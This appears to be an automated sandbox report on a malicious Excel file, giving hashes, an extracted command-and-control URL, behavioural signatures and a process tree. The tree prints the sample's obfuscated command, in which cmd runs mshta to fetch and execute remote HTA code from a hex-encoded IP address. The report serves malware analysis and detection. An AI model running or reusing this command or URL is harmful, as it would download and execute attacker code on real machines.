Analysis
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max time kernel
70s -
max time network
42s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
11-11-2024 17:38
Behavioral task
behavioral1
Sample
6aabcf7489ea97978b22fe4037dc12269ccc7d3fa1fce46d1fb5db89b8f71a29.xls
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
6aabcf7489ea97978b22fe4037dc12269ccc7d3fa1fce46d1fb5db89b8f71a29.xls
Resource
win10v2004-20241007-en
General
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Target
6aabcf7489ea97978b22fe4037dc12269ccc7d3fa1fce46d1fb5db89b8f71a29.xls
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Size
102KB
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MD5
98a298beaadcc5ec006ac7697f2aa769
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SHA1
b401e954b922b06ae9c51de351f5a9246bfd3622
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SHA256
6aabcf7489ea97978b22fe4037dc12269ccc7d3fa1fce46d1fb5db89b8f71a29
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SHA512
1b924c2b92ee0f2f7a801c0bbda270917f52d89083e32890b4a6913e9586910f9a09d19225413ef755d628c1962f940901b9c32817192f17bb79798f9301690a
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SSDEEP
3072:n/k3hbdlylKsgqopeJBWhZFGkE+cL2NdAFxe53lGvFTQ3IzxgdrvxpU0OKvMB:/k3hbdlylKsgqopeJBWhZFVE+W2NdAOK
Malware Config
Extracted
http://185.7.214.7/fer/fe3.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 2068 2604 cmd.exe 28 -
Blocklisted process makes network request 2 IoCs
flow pid Process 4 2812 mshta.exe 7 2812 mshta.exe -
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EXCEL.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe -
Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2604 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 2604 EXCEL.EXE 2604 EXCEL.EXE 2604 EXCEL.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2604 wrote to memory of 2068 2604 EXCEL.EXE 29 PID 2604 wrote to memory of 2068 2604 EXCEL.EXE 29 PID 2604 wrote to memory of 2068 2604 EXCEL.EXE 29 PID 2604 wrote to memory of 2068 2604 EXCEL.EXE 29 PID 2068 wrote to memory of 2812 2068 cmd.exe 31 PID 2068 wrote to memory of 2812 2068 cmd.exe 31 PID 2068 wrote to memory of 2812 2068 cmd.exe 31 PID 2068 wrote to memory of 2812 2068 cmd.exe 31
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\6aabcf7489ea97978b22fe4037dc12269ccc7d3fa1fce46d1fb5db89b8f71a29.xls1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2604 -
C:\Windows\SysWOW64\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html2⤵
- Process spawned unexpected child process
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2068 -
C:\Windows\SysWOW64\mshta.exemshta http://0xb907d607/fer/fe3.html3⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
PID:2812
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